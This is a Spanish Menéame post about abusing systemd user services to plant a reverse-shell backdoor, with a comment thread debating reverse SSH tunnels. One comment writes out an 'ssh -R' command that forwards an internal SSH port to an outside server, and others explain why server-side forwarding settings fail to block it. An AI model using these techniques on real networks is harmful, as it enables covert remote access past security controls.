Tecnología, Internet y juegos
59 meneos
685 clics
Abusando de los servicios de usuario de systemd

Abusando de los servicios de usuario de systemd

La mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd. systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar. Recordemos que systemd ofrece poder ejecutar una instancia de systemd para gestionar sesión y servicios que normalmente se ejecutan como un usuario diferente a root, así que cualquier usuario puede configurar servicios. Y si ese servicio es… digamos… ¿una shell inversa?

| etiquetas: abuso , systemd , shell inversa , backdoor , puerta trasera , seguridad
48 11 1 K 450
48 11 1 K 450
  1. Sin systemd un usuario puede hacer un tunel ssh inverso y obtener la shell desde fuera. Mas o menos lo mismo que se explica aquí pero de otra manera.
  2. #1 solo si tienes mal configurado el ssh
  3. #2 ssh usuario@ServidorRemoto -R10022:ServidorLocalQueQuieroEnviarElPuerto:22

    Esto crea un tunel hacia un servidor remoto enviando el puerto 22 del servidor local que quieras hacia el puerto 10022 en localhost del servidor remoto.

    Vamos que por mucho que quieras, o impides la conexión por ssh a nivel de firewall o no vas a poder evitar el reenvio de puertos porque esto se configura a nivel de servidor, y el servidor es remoto.

    Lo unico que puedes evitar sin bloquear las conexiones ssh hacia afuera es importar puertos del servidor de ssh local, pero no exportarlos ya que se hace a nivel de cliente y el equipo externo permite el reenvio de puertos.
  4. #3 # SSH1, SSH2, OpenSSH
    AllowTcpForwarding no

    # SSH2 only
    AllowTcpForwardingForUsers
    AllowTcpForwardingForGroups
  5. #4 Eso solo impide que tu servidor de ssh realice port forwarding cuando alguien se conecta a él, no que el cliente se conecte a mi servidor y redireccione el puerto de ssh del tuyo al mio.

    Es decir, lo que tu has puesto evita esto: ssh usuario@tuservidor -L puerto:ip:puerto
    pero no evita esto:
    ssh usuario@miservidorexterno -R10022:tuservidorssh:22

    Cuando tu utilizas un cliente de ssh con port forwarding desde tu red a un servidor externo, es el cliente el que está enviando los puertos a mi servidor.

    Y lo único que ve tu servidor es que el cliente X en tu red con ip X es el que se está conctando.
  6. #5 si el tipo tiene acceso a la maquina que esta dentro de tu red vas a estar jodido de todas las maneras
  7. #6 No hablamos de estar jodido sino de saber que estás jodido. Y ahora haría un chiste del PP pero se me da mal.
  8. La mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

    Por eso he decidido seguir tomándome el trabajo de compilar código para poder seguir usando Slackware.

    Queda alguna otra distribución (con una comunidad de usuarios, aunque sea pequeña) que no haya incorporado ya systemd??

    En fin... siempre nos quedará FreeBSD.
  9. Para ello un atacante tiene que tener permiso de escritura en los directorios que systemd usa. Y si el atacante tiene permiso de escritura probablemente podrá hacer todo eso sin necesitar systemd para nada.

    Pero sirve para curarse en salud y asegurarse que esos directorios están en el blacklist de cosas como firejail (si lo usas)
  10. Muy mala leche el Meme :-D
comentarios cerrados

menéame